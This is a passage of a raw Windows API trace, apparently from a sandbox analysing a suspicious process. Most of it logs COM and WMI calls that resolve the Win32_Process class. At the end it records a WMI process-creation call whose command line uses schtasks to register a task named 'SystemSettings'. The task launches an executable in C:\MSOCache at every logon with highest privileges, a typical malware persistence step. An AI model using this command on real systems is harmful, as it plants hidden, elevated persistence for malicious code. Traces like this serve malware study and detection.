pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0133.748] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0133.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x3521c0) returned 0x0 [0133.748] WbemDefPath:IUnknown:AddRef (This=0x3521c0) returned 0x3 [0133.748] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x2 [0133.748] WbemDefPath:IWbemPath:SetText (This=0x3521c0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351500, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0133.748] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x351500) returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3521c0, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3521c0, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="ROOT") returned 0x0 [0133.748] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x351500, uIndex=0x0, pszName="ROOT") returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3521c0, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x3521c0, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="CIMV2") returned 0x0 [0133.748] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x351500, uIndex=0x1, pszName="CIMV2") returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetClassName (in: This=0x351500, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0133.748] WbemDefPath:IWbemPath:SetClassName (This=0x351500, Name="Win32_Process") returned 0x0 [0133.748] WbemDefPath:IWbemPath:GetInfo (in: This=0x351500, uRequestedInfo=0x0, puResponse=0x1b10daf0 | out: puResponse=0x1b10daf0*=0x20c16) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351500, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetText (in: This=0x351500, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x22, pszText=0x0) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetText (in: This=0x351500, lFlags=4, puBuffLength=0x1b10da40*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetInfo (in: This=0x351500, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0x20c16) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351500, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetText (in: This=0x351500, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x14, pszText=0x0) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetText (in: This=0x351500, lFlags=8, puBuffLength=0x1b10da40*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b10da40*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2c40, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=16, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xb, pszText=0x0) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=16, puBuffLength=0x1b10da40*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10da40*=0xb, pszText="root\\cimv2") returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetText (in: This=0x351500, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0133.749] WbemDefPath:IWbemPath:GetText (in: This=0x351500, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0133.749] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d998 | out: ppv=0x1b10d998*=0x3111d8) returned 0x0 [0133.749] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d988 | out: pAptType=0x1b10d988*=1) returned 0x0 [0133.749] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d990 | out: ppvObject=0x1b10d990*=0x0) returned 0x80004002 [0133.749] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.750] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd88 | out: ppv=0x1b10cd88*=0x1b44a380) returned 0x0 [0133.750] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b44a380, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce70 | out: ppvObject=0x1b10ce70*=0x0) returned 0x80004002 [0133.750] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b44a380, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce48 | out: ppvObject=0x1b10ce48*=0x351680) returned 0x0 [0133.750] WbemDefPath:IUnknown:Release (This=0x1b44a380) returned 0x0 [0133.750] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cbf0 | out: ppvObject=0x1b10cbf0*=0x351680) returned 0x0 [0133.750] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc80 | out: ppvObject=0x1b10cc80*=0x0) returned 0x80004002 [0133.750] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c478 | out: ppvObject=0x1b10c478*=0x0) returned 0x80004002 [0133.750] WbemDefPath:IUnknown:AddRef (This=0x351680) returned 0x3 [0133.750] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c338 | out: ppvObject=0x1b10c338*=0x0) returned 0x80004002 [0133.750] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2c0 | out: ppvObject=0x1b10c2c0*=0x0) returned 0x80004002 [0133.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2b0 | out: ppvObject=0x1b10c2b0*=0x1b449ea0) returned 0x0 [0133.751] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b449ea0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2d8 | out: pCid=0x1b10c2d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.751] WbemDefPath:IUnknown:Release (This=0x1b449ea0) returned 0x3 [0133.751] CoGetContextToken (in: pToken=0x1b10c360 | out: pToken=0x1b10c360) returned 0x0 [0133.751] CoGetContextToken (in: pToken=0x1b10c7e0 | out: pToken=0x1b10c7e0) returned 0x0 [0133.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8a0 | out: ppvObject=0x1b10c8a0*=0x0) returned 0x80004002 [0133.751] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x2 [0133.751] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x1 [0133.751] CoGetContextToken (in: pToken=0x1b10d5d0 | out: pToken=0x1b10d5d0) returned 0x0 [0133.751] CoGetContextToken (in: pToken=0x1b10d4d0 | out: pToken=0x1b10d4d0) returned 0x0 [0133.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x351680, riid=0x1b10d630*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d600 | out: ppvObject=0x1b10d600*=0x351680) returned 0x0 [0133.751] WbemDefPath:IUnknown:AddRef (This=0x351680) returned 0x3 [0133.751] WbemDefPath:IUnknown:Release (This=0x351680) returned 0x2 [0133.751] WbemDefPath:IWbemPath:SetText (This=0x351680, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0133.751] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2c40, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0133.751] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=8, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0xf, pszText=0x0) returned 0x0 [0133.751] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=8, puBuffLength=0x1b10da40*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da40*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.751] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0133.751] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0133.751] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0133.752] IUnknown:Release (This=0x3111d8) returned 0x1 [0133.752] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b44a300) returned 0x0 [0133.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b44a300, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0133.752] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b44a300, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352d00) returned 0x0 [0133.752] WbemDefPath:IUnknown:Release (This=0x1b44a300) returned 0x0 [0133.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352d00) returned 0x0 [0133.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0133.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0133.753] WbemDefPath:IUnknown:AddRef (This=0x352d00) returned 0x3 [0133.753] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0133.753] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0133.753] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b44a080) returned 0x0 [0133.753] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b44a080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.753] WbemDefPath:IUnknown:Release (This=0x1b44a080) returned 0x3 [0133.753] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0133.753] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0133.753] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0133.753] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x2 [0133.753] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x1 [0133.753] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0133.753] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0133.753] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352d00) returned 0x0 [0133.753] WbemDefPath:IUnknown:AddRef (This=0x352d00) returned 0x3 [0133.753] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x2 [0133.753] WbemDefPath:IWbemPath:SetText (This=0x352d00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0133.753] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351680, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0133.753] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0133.753] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0133.753] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="root\\cimv2") returned 0x0 [0133.753] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x351680) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352d00, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352d00, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="root") returned 0x0 [0133.754] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x351680, uIndex=0x0, pszName="root") returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352d00, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352d00, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="cimv2") returned 0x0 [0133.754] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x351680, uIndex=0x1, pszName="cimv2") returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetServer (in: This=0x352d00, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetServer (in: This=0x352d00, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetServer (in: This=0x351680, puNameBufLength=0x1b10d9c0*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c0*=0x2, pName=0x0) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetServer (in: This=0x351680, puNameBufLength=0x1b10d9c0*=0x2, pName="0" | out: puNameBufLength=0x1b10d9c0*=0x2, pName=".") returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetInfo (in: This=0x351680, uRequestedInfo=0x0, puResponse=0x1b10da60 | out: puResponse=0x1b10da60*=0xc15) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2c40, puCount=0x1b10d9b8 | out: puCount=0x1b10d9b8*=0x2) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10d9b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9b0*=0xf, pszText=0x0) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10d9b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x2a2c40, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetText (in: This=0x2a2c40, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351680, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x1d, pszText=0x0) returned 0x0 [0133.754] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=4, puBuffLength=0x1b10da40*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0133.754] CoGetContextToken (in: pToken=0x1b10d350 | out: pToken=0x1b10d350) returned 0x0 [0133.754] WbemLocator:IUnknown:AddRef (This=0x1b459398) returned 0x3 [0133.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459398, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d350 | out: ppvObject=0x1b10d350*=0x1b459398) returned 0x0 [0133.754] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x3 [0133.755] WbemLocator:IUnknown:Release (This=0x1b459398) returned 0x2 [0133.755] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=2, puBuffLength=0x1b10da50*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da50*=0xe, pszText=0x0) returned 0x0 [0133.755] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=2, puBuffLength=0x1b10da50*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10da50*=0xe, pszText="Win32_Process") returned 0x0 [0133.755] IWbemServices:GetObject (in: This=0x1b4032d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d9d0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d9d0*=0x1b458980, ppCallResult=0x0) returned 0x0 [0133.762] IWbemClassObject:GetMethod (in: This=0x1b458980, wszName="Create", lFlags=0, ppInSignature=0x1b10dac8, ppOutSignature=0x1b10dac0 | out: ppInSignature=0x1b10dac8*=0x1b458cf0, ppOutSignature=0x1b10dac0*=0x1b4311f0) returned 0x0 [0133.763] IWbemClassObject:SpawnInstance (in: This=0x1b458cf0, lFlags=0, ppNewInstance=0x1b10dad8 | out: ppNewInstance=0x1b10dad8*=0x1b3dde30) returned 0x0 [0133.763] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="CommandLine", lFlags=0, pVal=0x1b10d9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d05418*=0, plFlavor=0x2d0541c*=0 | out: pVal=0x1b10d9d0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d05418*=8, plFlavor=0x2d0541c*=32) returned 0x0 [0133.763] IWbemClassObject:Get (in: This=0x1b3dde30, wszName="CommandLine", lFlags=0, pVal=0x1b10da00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d05418*=8, plFlavor=0x2d0541c*=32 | out: pVal=0x1b10da00*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d05418*=8, plFlavor=0x2d0541c*=32) returned 0x0 [0133.763] IWbemClassObject:Put (This=0x1b3dde30, wszName="CommandLine", lFlags=0, pVal=0x1b10da60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"SystemSettings\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 